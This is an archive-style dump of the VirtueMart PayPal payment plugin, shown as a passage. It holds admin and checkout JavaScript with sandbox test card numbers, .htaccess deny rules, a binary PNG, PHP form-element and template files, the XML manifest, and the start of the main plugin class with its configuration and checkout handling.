break; case '_oe-gift-certificate': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); break; case '_xclick-subscriptions': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').show(); $('.plan').parents('tr').hide(); $('#paramssubcription_trials').trigger('change'); $('.billing').parents('tr').hide(); handleSubscriptionTrials(); break; case '_xclick-auto-billing': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').show(); handleMaxAmountType(); break; case '_xclick-payment-plan': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').show(); $('.billing').parents('tr').hide(); handlePaymentPlanDefer(); break; case '_donations': $('.cart').parents('tr').hide(); $('.subscribe').parents('tr').hide(); $('.plan').parents('tr').hide(); $('.billing').parents('tr').hide(); break; } } } handleSubscriptionTrials = function () { var nbTrials = $('#paramssubcription_trials').val(); switch (nbTrials) { case '0': $('.trial1').parents('tr').hide(); //$('.trial2').parents('tr').hide(); break; case '1': $('.trial1').parents('tr').show(); //$('.trial2').parents('tr').hide(); break; //case '2': // $('.trial1').parents('tr').show(); // $('.trial2').parents('tr').show(); // break; } } handlePaymentPlanDefer = function () { var doDefer = $('#paramspayment_plan_defer').val(); var paypalproduct = $('#paramspaypalproduct').val(); $('.defer').parents('tr').hide(); if (doDefer == 1) { if (paypalproduct == 'std') { $('.defer_std').parents('tr').show(); } else { $('.defer_api').parents('tr').show(); } } } handleMaxAmountType = function () { var max_amount_type = $('#paramsbilling_max_amount_type').val(); switch (max_amount_type) { case 'cart': case 'cust': $('.billing_max_amount').parents('tr').hide(); break; case 'value': case 'perc': $('.billing_max_amount').parents('tr').show(); break; } } handlePaymentFeesWarning = function () { var paypalproduct = $('#paramspaypalproduct').val(); var selectedMode = $('#paramspayment_type').val(); if ((paypalproduct == 'api' || paypalproduct == 'exp') && (selectedMode == '_xclick-subscriptions' || selectedMode == '_xclick-payment-plan')) { $('.warning_transaction_cost').parents('tr').show(); } else { $('.warning_transaction_cost').parents('tr').hide(); } } /**********/ /* Events */ /**********/ $("input[name='params[sandbox]']").change(function () { handleCredentials(); handleAuthentication(); }); $('#paramspaypalproduct').change(function () { handleCredentials(); handleAuthentication(); handleExpectedMaxAmount(); handleTemplateParams(); handleCreditCard(); handleRefundOnCancel(); handleLayout(); handleTemplate(); handleWarningAuthorizeStd(); handlePaymentType(); handlePaymentPlanDefer(); }); $('#paramsauthentication').change(function () { handleAuthentication(); }); $('#paramstemplate').change(function () { handleTemplateParams(); }); $('#paramspayment_action').change(function () { handleWarningAuthorizeStd(); handleCapturePayment(); }); $('#paramspayment_type').change(function () { handlePaymentAction(); handlePaymentTypeDetails(); handlePaymentFeesWarning(); }); $('#paramheaderimg').change(function () { handleWarningHeaderImage(); }); $('#paramssubcription_trials').change(function () { handleSubscriptionTrials(); }); $('#paramspayment_plan_defer').change(function () { handlePaymentPlanDefer(); }); $('#paramsbilling_max_amount_type').change(function () { handleMaxAmountType(); }); /*****************/ /* Initial calls */ /*****************/ handleCredentials(); handleAuthentication(); handleCreditCard(); handleExpectedMaxAmount(); handleCapturePayment(); handleRefundOnCancel(); handleLayout(); handleTemplate(); handleTemplateParams(); handleWarningAuthorizeStd(); handlePaymentType(); handlePaymentAction(); handlePaymentTypeDetails(); handleWarningHeaderImage(); handlePaymentFeesWarning(); handlePaymentPlanDefer(); }); paypal/assets/js/site.js000066600000003635151373156210011271 0ustar00/** * * Paypal payment plugin * * @author Jeremy Magne * @version $Id: paypal.php 7217 2013-09-18 13:42:54Z alatak $ * @package VirtueMart * @subpackage payment * Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details. * * http://virtuemart.net */ jQuery().ready(function($) { $('.cc_type_sandbox').change(function() { var pmid = $(this).attr('rel'); var cc_type = $('#cc_type_'+pmid).val(); switch (cc_type) { case 'Visa': $('#cc_number_'+pmid).val('4007000000027'); $('#cc_cvv_'+pmid).val('123'); break; case 'Mastercard': $('#cc_number_'+pmid).val('6011000000000012'); $('#cc_cvv_'+pmid).val('123'); break; case 'Amex': $('#cc_number_'+pmid).val('370000000000002'); $('#cc_cvv_'+pmid).val('1234'); break; case 'Discover': $('#cc_number_'+pmid).val('5424000000000015'); $('#cc_cvv_'+pmid).val('123'); break; case 'Maestro': $('#cc_number_'+pmid).val('6763318282526706'); $('#cc_cvv_'+pmid).val('123'); break; default: $('#cc_number_'+pmid).val(''); $('#cc_cvv_'+pmid).val(''); } }); $('.cc_type_sandbox').trigger('change'); $('input[name=virtuemart_paymentmethod_id]').change(function() { var selectedMethod = $('input[name=virtuemart_paymentmethod_id]:checked').val(); $('.paymentMethodOptions').hide(); $('#paymentMethodOptions_'+selectedMethod).show(); }); $('input[name=virtuemart_paymentmethod_id]').trigger('change'); }); paypal/assets/js/.htaccess000066600000000177151373156210011563 0ustar00 Order allow,deny Deny from all paypal/assets/index.html000066600000000000151373156210011327 0ustar00paypal/assets/images/.htaccess000066600000000177151373156210012414 0ustar00 Order allow,deny Deny from all paypal/assets/images/PP_Buttons_CheckOut_119x24_v3.png000066600000006624151373156210016511 0ustar00PNG  IHDRwbtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp H uIDATxY{PeeAP "(` jDC1PꨴLc#mq45V8(&VlɈ0Zj6bh\`y,.f2#v:|wsw?YYYe(sDMÕ:D͸*Yiii\ a0P(&dZ҂:NU -4̉pJC?>t[ ‘SJg-b< H\'kQG̺m`}dk( j%UYdJ),/2kp!Nm^L\{Ldx&Tcهw\P;#)~8r+n3#-Bh] ϭDTT7*SRY[?@,صzn׷᳻+F =$F 5ؑ>1u-8]9zbQJYpy4Z-jך|;l0CG~i]~F/!=Z kte6`7oFss3mۆhlܸNI2ٳgxb_%>}>iPl!''%f{ܹl8yiT:䐑JKK8s L&Bmtwɋ]t5>i-ǎCEE+"^"']'Rre|=iq0s?F0Fk)oFg Aj^/T\GXvܞ6HLL v|aa!{3,Y<۷og]t=lق  33 M~)OЫWf>ׄΣG^iM^n ÝI!tTUUAc^V‰'o:vލٳg e .ۈc.=9G6 gΣ^HL49b"G4W' r4Ew+kBDІqoO7؃zfkg=aĠHlٙYD92ĉى&ZZ J\RR&$$0Kuxx8uKܽ&dg,9 Q! CAin:2'`׿)gm+n5Z5'e9Yb(r{6OWc_Re&ٮE!OՏE^?kxkrHaؿ[X>)X;&#72 BOv߾}PՎKŋ8~89̙3^w^r$&&ԦH466z$O2ԎsF0zTH ɇǦcގ+ػSDkLL=,3e| ?naFKWy?pK9+ϣlx&}CCmzmn(Ύ۶:5<)IEKI t२$" 6[v_?>;MV页j t?7On` Z"15`b*DBdAÕ(ڞ#`E1cy[ڌtC&p$< WJ*h4eh4lR Z_7g2IENDB`paypal/assets/images/index.html000066600000000000151373156210012574 0ustar00paypal/.htaccess000066600000000177151373156210007645 0ustar00 Order allow,deny Deny from all paypal/elements/.htaccess000066600000000177151373156210011461 0ustar00 Order allow,deny Deny from all paypal/elements/customjs.php000066600000002342151373156210012237 0ustar00addScript(JURI::root(true).'/plugins/vmpayment/paypal/paypal/assets/js/admin.js'); $doc->addStyleSheet(JURI::root(true).'/plugins/vmpayment/paypal/paypal/assets/css/paypal.css'); return ''; } }paypal/elements/duration.php000066600000005115151373156210012216 0ustar00attributes('class') ? $node->attributes('class') : ''); $field_id = uniqid('duration'); $duration_value_id = $field_id.'_value'; $duration_unit_id = $field_id.'_unit'; if ($value) { $duration_parts = explode('-',$value); $duration_value = $duration_parts[0]; $duration_unit = $duration_parts[1]; } $doc = JFactory::getDocument(); $js = " jQuery().ready(function($) { $('#".$duration_value_id."').change(function() { $('#".$control_name . $name."').val($('#".$duration_value_id."').val()+'-'+$('#".$duration_unit_id."').val()); }); $('#".$duration_unit_id."').change(function() { $('#".$control_name . $name."').val($('#".$duration_value_id."').val()+'-'+$('#".$duration_unit_id."').val()); }); });"; $doc->addScriptDeclaration($js ); $options = array(); $options[] = JHTML::_('select.option', 'D', JText::_('VMPAYMENT_PAYPAL_DURATION_D')); $options[] = JHTML::_('select.option', 'W', JText::_('VMPAYMENT_PAYPAL_DURATION_W')); $options[] = JHTML::_('select.option', 'M', JText::_('VMPAYMENT_PAYPAL_DURATION_M')); $options[] = JHTML::_('select.option', 'Y', JText::_('VMPAYMENT_PAYPAL_DURATION_Y')); $html = ''; $html .= JHTML::_ ('select.genericlist', $options, $duration_unit_id, '', 'value', 'text', $duration_unit, $duration_unit_id); $html .= ''; return $html; } }paypal/elements/term.php000066600000002550151373156210011340 0ustar00attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $max = ($node->attributes('max') ? intval($node->attributes('max')) : 52); $options = array(); for($i=1; $i<=$max; $i++) { $options[] = JHTML::_('select.option', $i, $i); } return JHTML::_ ('select.genericlist', $options, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }paypal/elements/getcertificate.php000066600000004660151373156210013357 0ustar00load ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $safePath = VmConfig::get ('forSale_path', ''); $certificatePath=$safePath.$folder; $certificatePath = JPath::clean($certificatePath); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); // Is the path a folder? if (!is_dir($certificatePath)){ return ''.JText::sprintf ('VMPAYMENT_PAYPAL_CERTIFICATE_FOLDER_NOT_EXIST', $certificatePath).''; } $path = str_replace ('/', DS, $certificatePath); $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class .= ' size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }paypal/elements/paypalcreditcards.php000066600000003473151373156210014074 0ustar00load ('plg_vmpayment_paypal', JPATH_ADMINISTRATOR); $creditcards= PaypalHelperPaypal::getPaypalCreditCards(); $prefix = 'VMPAYMENT_PAYPAL_CC_'; $fields = array(); foreach ($creditcards as $creditcard) { $fields[$creditcard]['value'] = $creditcard; $fields[$creditcard]['text'] = JText::_($prefix . strtoupper($fields[$creditcard]['value'])); } $attribs = ' '; $attribs .= ' multiple="multiple"'; $attribs .= ($node->attributes('class') ? ' class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $fields, $control_name . '[' . $name . '][]', $attribs, 'value', 'text', $value, $control_name . $name); } }paypal/elements/index.html000066600000000000151373156210011641 0ustar00paypal/index.html000066600000000000151373156210010025 0ustar00paypal/tmpl/expcheckout.php000066600000002245151373156210012054 0ustar00
Sandbox () <?php echo $viewData['text']?>
paypal/tmpl/index.html000066600000000000151373156210011001 0ustar00paypal/tmpl/billingmax.php000066600000002551151373156210011660 0ustar00virtuemart_paymentmethod_id; ?> paypal/tmpl/expproduct.php000066600000002560151373156210011727 0ustar00 Sandbox () paypal/tmpl/stdresponse.php000066600000003575151373156210012112 0ustar00
order_number;; ?>
mc_gross . ' ' . $payment->mc_currency; ?>
txn_id; ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>"> paypal/tmpl/creditcardform.php000066600000013332151373156210012521 0ustar00addScript(JURI::root(true).'/plugins/vmpayment/paypal/paypal/assets/js/site.js'); ?> paypal/tmpl/apiresponse.php000066600000005015151373156210012060 0ustar00
getHtmlRow('VMPAYMENT_PAYPAL_API_PAYMENT_NAME', $payment_name); if ($viewData['success']) { echo $this->getHtmlRow('COM_VIRTUEMART_ORDER_NUMBER', $viewData["order"]['details']['BT']->order_number); if ($viewData['method']->payment_type == '_xclick-subscriptions' || $viewData['method']->payment_type == '_xclick-payment-plan') { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILEID', $responseData['PROFILEID']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILESTATUS', $responseData['STATUS']); } else { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AMOUNT', $responseData['AMT'] . ' ' . $responseData['CURRENCYCODE']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_TRANSACTION_ID', $responseData['TRANSACTIONID']); } //echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AUTHORIZATION_CODE', $responseData['CORRELATIONID']); } else { for ($i = 0; isset($responseData["L_ERRORCODE".$i]); $i++) { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_CODE', $responseData["L_ERRORCODE".$i]); $message = isset($responseData["L_LONGMESSAGE".$i]) ? $responseData["L_LONGMESSAGE".$i]: $responseData["L_SHORTMESSAGE".$i]; echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_DESC', $message); } } ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>"> paypal/tmpl/expresponse.php000066600000004712151373156210012106 0ustar00
getHtmlRow('VMPAYMENT_PAYPAL_API_PAYMENT_NAME', $viewData['payment_name']); if ( $viewData['success']) { echo $this->getHtmlRow('COM_VIRTUEMART_ORDER_NUMBER', $response['invoice']); if ($viewData['method']->payment_type == '_xclick-subscriptions' || $viewData['method']->payment_type == '_xclick-payment-plan') { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILEID', $response['PROFILEID']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_PROFILESTATUS', $response['STATUS']); } else { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AMOUNT', $response['PAYMENTINFO_0_AMT'] . ' ' . $response['PAYMENTINFO_0_CURRENCYCODE']); echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_TRANSACTION_ID', $response['PAYMENTINFO_0_TRANSACTIONID']); } //echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_AUTHORIZATION_CODE', $response['CORRELATIONID']); } else { for ($i = 0; isset($response["L_ERRORCODE".$i]); $i++) { echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_CODE', $response["L_ERRORCODE".$i]); $message = isset($response["L_LONGMESSAGE".$i]) ? $response["L_LONGMESSAGE".$i]: $response["L_SHORTMESSAGE".$i]; echo $this->getHtmlRow('VMPAYMENT_PAYPAL_API_ERROR_DESC', $message); } } ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>"> paypal/tmpl/.htaccess000066600000000177151373156210010621 0ustar00 Order allow,deny Deny from all paypal/tmpl/hostediframe.php000066600000001713151373156210012203 0ustar00 paypal/tmpl/hostedresponse.php000066600000004411151373156210012574 0ustar00
order_number; ?>
mc_gross . ' ' . $payment->mc_currency; ?>
txn_id; ?>

order_number.'&order_pass='.$viewData["order"]['details']['BT']->order_pass, false)?>"> index.html000066600000000000151373156210006537 0ustar00.htaccess000066600000000177151373156210006357 0ustar00 Order allow,deny Deny from all paypal.xml000066600000073305151373156210006574 0ustar00 PLG_VMPAYMENT_PAYPALDESC VMPAYMENT_PAYPAL January 10 2014 The VirtueMart Development Team http://www.virtuemart.net Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d PayPal is a popular payment provider and available in many countries. ]]> paypal.php paypal.php000066600000137740151373156210006567 0ustar00customerData = new PaypalHelperCustomerData(); $this->_loggable = TRUE; $this->tableFields = array_keys($this->getTableSQLFields()); $this->_tablepkey = 'id'; //virtuemart_paypal_id'; $this->_tableId = 'id'; //'virtuemart_paypal_id'; $varsToPush = array( 'paypal_merchant_email' => array('', 'char'), 'accelerated_onboarding' => array('', 'int'), 'api_login_id' => array('', 'char'), 'api_password' => array('', 'char'), 'authentication' => array('signature', 'char'), 'api_signature' => array('', 'int'), 'api_certificate' => array('', 'char'), 'sandbox' => array(0, 'int'), 'sandbox_merchant_email' => array('', 'char'), 'sandbox_api_login_id' => array('', 'char'), 'sandbox_api_password' => array('', 'char'), 'sandbox_api_signature' => array('', 'char'), 'sandbox_api_certificate' => array('', 'char'), 'sandbox_payflow_vendor' => array('', 'char'), 'sandbox_payflow_partner' => array('', 'char'), 'creditcards' => array('', 'int'), 'cvv_images' => array('', 'int'), 'paypalproduct' => array('', 'char'), 'paypal_verified_only' => array('', 'int'), 'payment_currency' => array('', 'int'), 'email_currency' => array('', 'char'), 'log_ipn' => array('', 'int'), 'payment_logos' => array('', 'char'), 'debug' => array(0, 'int'), 'log' => array(0, 'int'), 'status_pending' => array('', 'char'), 'status_success' => array('', 'char'), 'status_canceled' => array('', 'char'), 'status_expired' => array('', 'char'), 'status_capture' => array('', 'char'), 'status_refunded' => array('', 'char'), 'status_partial_refunded' => array('', 'char'), 'expected_maxamount' => array('', 'int'), 'secure_post' => array('', 'int'), 'ipn_test' => array('', 'int'), 'no_shipping' => array('', 'int'), 'address_override' => array('', 'int'), 'payment_type' => array('_xclick', 'char'), 'subcription_trials' => array(0, 'int'), 'trial1_price' => array('', 'int'), 'trial1_duration' => array('', 'char'), //'trial2_price' => array('', 'int'), //'trial2_duration' => array('', 'char'), 'subscription_duration' => array('', 'char'), 'subscription_term' => array('', 'int'), 'payment_plan_duration' => array('', 'char'), 'payment_plan_term' => array('', 'int'), 'payment_plan_defer' => array('', 'int'), 'payment_plan_defer_duration' => array('', 'char'), 'payment_plan_defer_strtotime' => array('', 'char'), 'billing_max_amount_type' => array('', 'char'), 'billing_max_amount' => array('', 'float'), //Settlement 'sftp_login' => array('', 'char'), 'sftp_password' => array('', 'char'), 'sftp_host' => array('', 'char'), 'sftp_sandbox_login' => array('', 'char'), 'sftp_sandbox_password' => array('', 'char'), //Restrictions 'countries' => array('', 'char'), 'min_amount' => array('', 'float'), 'max_amount' => array('', 'float'), 'publishup' => array('', 'char'), 'publishdown' => array('', 'char'), //discount 'cost_per_transaction' => array('', 'float'), 'cost_percent_total' => array('', 'char'), 'tax_id' => array(0, 'int'), //Layout 'headerBgColor' => array('', 'char'), 'headerHeight' => array('', 'char'), 'logoFont' => array('', 'char'), 'logoFontColor' => array('', 'char'), 'logoFontSize' => array('', 'char'), 'bodyBgImg' => array('', 'char'), 'bodyBgColor' => array('', 'char'), 'PageTitleTextColor' => array('', 'char'), 'PageCollapseBgColor' => array('', 'char'), 'PageCollapseTextColor' => array('', 'char'), 'orderSummaryBgColor' => array('', 'char'), 'orderSummaryBgImage' => array('', 'char'), 'footerTextColor' => array('', 'char'), 'footerTextlinkColor' => array('', 'char'), 'pageButtonBgColor' => array('', 'char'), 'pageButtonTextColor' => array('', 'char'), 'pageTitleTextColor' => array('', 'char'), 'sectionBorder' => array('', 'char'), 'bordercolor' => array('', 'char'), 'headerimg' => array('', 'char'), 'logoimg' => array('', 'char'), 'payment_action' => array('sale', 'char'), 'template' => array('', 'char'), ); $this->setConfigParameterable($this->_configTableFieldName, $varsToPush); //self::$_this = $this; } public function getVmPluginCreateTableSQL() { return $this->createTableSQL('PayPal Table'); } function getTableSQLFields() { $SQLfields = array( 'id' => 'int(11) UNSIGNED NOT NULL AUTO_INCREMENT', 'virtuemart_order_id' => 'int(1) UNSIGNED', 'order_number' => 'char(64)', 'virtuemart_paymentmethod_id' => 'mediumint(1) UNSIGNED', 'payment_name' => 'varchar(5000)', 'payment_order_total' => 'decimal(15,5) NOT NULL', 'payment_currency' => 'smallint(1)', 'email_currency' => 'smallint(1)', 'cost_per_transaction' => 'decimal(10,2)', 'cost_percent_total' => 'decimal(10,2)', 'tax_id' => 'smallint(1)', 'paypal_custom' => 'varchar(255)', 'paypal_method' => 'varchar(200)', 'paypal_response_mc_gross' => 'decimal(10,2)', 'paypal_response_mc_currency' => 'char(10)', 'paypal_response_invoice' => 'char(32)', 'paypal_response_protection_eligibility' => 'char(128)', 'paypal_response_payer_id' => 'char(13)', 'paypal_response_tax' => 'decimal(10,2)', 'paypal_response_payment_date' => 'char(28)', 'paypal_response_payment_status' => 'char(50)', 'paypal_response_pending_reason' => 'char(50)', 'paypal_response_mc_fee' => 'decimal(10,2)', 'paypal_response_payer_email' => 'char(128)', 'paypal_response_last_name' => 'char(64)', 'paypal_response_first_name' => 'char(64)', 'paypal_response_business' => 'char(128)', 'paypal_response_receiver_email' => 'char(128)', 'paypal_response_transaction_subject' => 'char(128)', 'paypal_response_residence_country' => 'char(2)', 'paypal_response_txn_id' => 'char(32)', 'paypal_response_txn_type' => 'char(32)', //The kind of transaction for which the IPN message was sent 'paypal_response_parent_txn_id' => 'char(32)', 'paypal_response_case_creation_date' => 'char(32)', 'paypal_response_case_id' => 'char(32)', 'paypal_response_case_type' => 'char(32)', 'paypal_response_reason_code' => 'char(32)', 'paypalresponse_raw' => 'varchar(512)', 'paypal_fullresponse' => 'text', ); return $SQLfields; } /** * @param $product * @param $productDisplay * @return bool */ function plgVmOnProductDisplayPayment($product, &$productDisplay) { $vendorId = 1; if ($this->getPluginMethods($vendorId) === 0) { return FALSE; } foreach ($this->methods as $this->_currentMethod) { if ($this->_currentMethod->paypalproduct == 'exp') { $paypalInterface = $this->_loadPayPalInterface(); $product = $paypalInterface->getExpressProduct(); $productDisplayHtml = $this->renderByLayout('expproduct', array( 'text' => JText::_('VMPAYMENT_PAYPAL_EXPCHECKOUT_AVAILABALE'), 'img' => $product['img'], 'link' => $product['link'], 'sandbox' => $this->_currentMethod->sandbox, 'virtuemart_paymentmethod_id' => $this->_currentMethod->virtuemart_paymentmethod_id, ) ); $productDisplay[] = $productDisplayHtml; } } return TRUE; } function plgVmDisplayLogin(VirtuemartViewUser $user, &$html, $from_cart = FALSE) { // only to display it in the cart, not in list orders view if (!$from_cart) { return NULL; } $vendorId = 1; if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $cart = VirtueMartCart::getCart(); if ($this->getPluginMethods($cart->vendorId) === 0) { return FALSE; } if ($cart->pricesUnformatted['salesPrice'] <= 0.0) { return FALSE; } if (!($this->_currentMethod = $this->getVmPluginMethod($cart->virtuemart_paymentmethod_id))) { return NULL; } $html .= $this->getExpressCheckoutHtml($this->_currentMethod, $cart); } function plgVmOnCheckoutAdvertise($cart, &$payment_advertise) { if ($this->getPluginMethods($cart->vendorId) === 0) { return FALSE; } if ($cart->pricesUnformatted['salesPrice'] <= 0.0) { return NULL; } if (!($this->_currentMethod = $this->getVmPluginMethod($cart->virtuemart_paymentmethod_id))) { return NULL; } $payment_advertise[] = $this->getExpressCheckoutHtml($this->_currentMethod, $cart); } function getExpressCheckoutHtml($currentMethod, $cart) { if ($currentMethod->paypalproduct == 'exp') { $this->_currentMethod=$currentMethod; $paypalExpInterface = $this->_loadPayPalInterface(); $paypalExpInterface->loadCustomerData(); $expressCheckout = JRequest::getVar('expresscheckout', ''); if ($expressCheckout == 'cancel') { $paypalExpInterface->customerData->clear(); if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } else { $paypalExpInterface->setCart($cart); $paypalExpInterface->loadCustomerData(); $token = $paypalExpInterface->customerData->getVar('token'); $payerid = $paypalExpInterface->customerData->getVar('payer_id'); if (empty($token) and empty($payerid)) { $paypalExpInterface->customerData->clear(); $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } if (!empty($token) and !empty($payerid)) { return null; } } } $html = ''; foreach ($this->methods as $this->_currentMethod) { if ($this->_currentMethod->paypalproduct == 'exp') { $paypalInterface = $this->_loadPayPalInterface(); $button = $paypalInterface->getExpressCheckoutButton(); $html .= $this->renderByLayout('expcheckout', array( 'text' => JText::_('VMPAYMENT_PAYPAL_EXPCHECKOUT_BUTTON'), 'img' => $button['img'], 'link' => $button['link'], 'sandbox' => $this->_currentMethod->sandbox, 'virtuemart_paymentmethod_id' => $this->_currentMethod->virtuemart_paymentmethod_id ) ); } } return $html; } function plgVmConfirmedOrder($cart, $order) { if (!($this->_currentMethod = $this->getVmPluginMethod($order['details']['BT']->virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->_currentMethod->payment_element)) { return FALSE; } if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } if (!class_exists('VirtueMartModelCurrency')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php'); } $this->getPaymentCurrency($this->_currentMethod); $email_currency = $this->getEmailCurrency($this->_currentMethod); $payment_name = $this->renderPluginName($this->_currentMethod, $order); $paypalInterface = $this->_loadPayPalInterface(); $paypalInterface->debugLog('order number: ' . $order['details']['BT']->order_number, 'plgVmConfirmedOrder', 'message'); $paypalInterface->setCart($cart); $paypalInterface->setOrder($order); $paypalInterface->setTotal($order['details']['BT']->order_total); $paypalInterface->loadCustomerData(); // Prepare data that should be stored in the database $dbValues['order_number'] = $order['details']['BT']->order_number; $dbValues['payment_name'] = $payment_name; $dbValues['virtuemart_paymentmethod_id'] = $cart->virtuemart_paymentmethod_id; $dbValues['paypal_custom'] = $paypalInterface->getContext(); $dbValues['cost_per_transaction'] = $this->_currentMethod->cost_per_transaction; $dbValues['cost_percent_total'] = $this->_currentMethod->cost_percent_total; $dbValues['payment_currency'] = $this->_currentMethod->payment_currency; $dbValues['email_currency'] = $email_currency; $dbValues['payment_order_total'] = $paypalInterface->getTotal(); $dbValues['tax_id'] = $this->_currentMethod->tax_id; $this->storePSPluginInternalData($dbValues); VmConfig::loadJLang('com_virtuemart_orders',TRUE); if ($this->_currentMethod->paypalproduct == 'std') { $html = $paypalInterface->ManageCheckout(); // 2 = don't delete the cart, don't send email and don't redirect $cart->_confirmDone = FALSE; $cart->_dataValidated = FALSE; $cart->setCartIntoSession(); JRequest::setVar('html', $html); } else if ($this->_currentMethod->paypalproduct == 'exp') { $success = $paypalInterface->ManageCheckout(); $response = $paypalInterface->getResponse(); $payment = $this->_storePaypalInternalData( $response, $order['details']['BT']->virtuemart_order_id, $cart->virtuemart_paymentmethod_id); if ($success) { $new_status = $paypalInterface->getNewOrderStatus(); if ($this->_currentMethod->payment_type == '_xclick-subscriptions' || $this->_currentMethod->payment_type == '_xclick-payment-plan') { $profilesuccess = $paypalInterface->GetRecurringPaymentsProfileDetails($response['PROFILEID']); $response = $paypalInterface->getResponse(); $this->_storePaypalInternalData( $response, $order['details']['BT']->virtuemart_order_id, $cart->virtuemart_paymentmethod_id); } $this->customerData->clear(); $returnValue = 1; $html = $this->renderByLayout('expresponse', array("method"=>$this->_currentMethod, "success"=>$success, "payment_name"=>$payment_name, "response" =>$response, "order" =>$order)); return $this->processConfirmedOrderPaymentResponse($returnValue, $cart, $order, $html, $payment_name, $new_status); } else { $new_status = $this->_currentMethod->status_canceled; $returnValue = 2; $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); $this->customerData->clear(); VmInfo('VMPAYMENT_PAYPAL_PAYMENT_NOT_VALID'); $paypalInterface->debugLog($response, 'plgVmConfirmedOrder, response:', 'error'); $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart&Itemid=' . JRequest::getInt('Itemid'), false)); } } else if ($this->_currentMethod->paypalproduct == 'api') { $success = $paypalInterface->ManageCheckout(); $response = $paypalInterface->getResponse(); $payment = $this->_storePaypalInternalData( $response, $order['details']['BT']->virtuemart_order_id, $cart->virtuemart_paymentmethod_id); if ($success) { if ($this->_currentMethod->payment_action == 'Authorization' || $this->_currentMethod->payment_type == '_xclick-payment-plan') { $new_status = $this->_currentMethod->status_pending; } else { $new_status = $this->_currentMethod->status_success; } if ($this->_currentMethod->payment_type == '_xclick-subscriptions' || $this->_currentMethod->payment_type == '_xclick-payment-plan') { $profilesuccess = $paypalInterface->GetRecurringPaymentsProfileDetails($response['PROFILEID']); $response = $paypalInterface->getResponse(); $this->_storePaypalInternalData( $response, $order['details']['BT']->virtuemart_order_id, $cart->virtuemart_paymentmethod_id); } $this->customerData->clear(); $returnValue = 1; } else { $new_status = $this->_currentMethod->status_canceled; $returnValue = 2; } // $this->customerData->clear(); $html = $this->renderByLayout('apiresponse', array('method' => $this->_currentMethod, 'success' => $success, 'payment_name' => $payment_name, 'responseData' => $response, "order" => $order)); return $this->processConfirmedOrderPaymentResponse($returnValue, $cart, $order, $html, $payment_name, $new_status); } else if ($this->_currentMethod->paypalproduct == 'hosted') { $paypalInterface->ManageCheckout(); if ($this->_currentMethod->template == 'templateD') { jimport('joomla.environment.browser'); $browser = JBrowser::getInstance(); // this code is only called incase of iframe (templateD), in all other cases redirecttopayapl has been done $html = $this->renderByLayout('hostediframe', array("url" => $paypalInterface->response['EMAILLINK'], "isMobile" => $browser->isMobile() )); } // 2 = don't delete the cart, don't send email and don't redirect $cart->_confirmDone = FALSE; $cart->_dataValidated = FALSE; $cart->setCartIntoSession(); JRequest::setVar('html', $html); } else { vmError('Unknown Paypal mode'); } } function plgVmgetPaymentCurrency($virtuemart_paymentmethod_id, &$paymentCurrencyId) { if 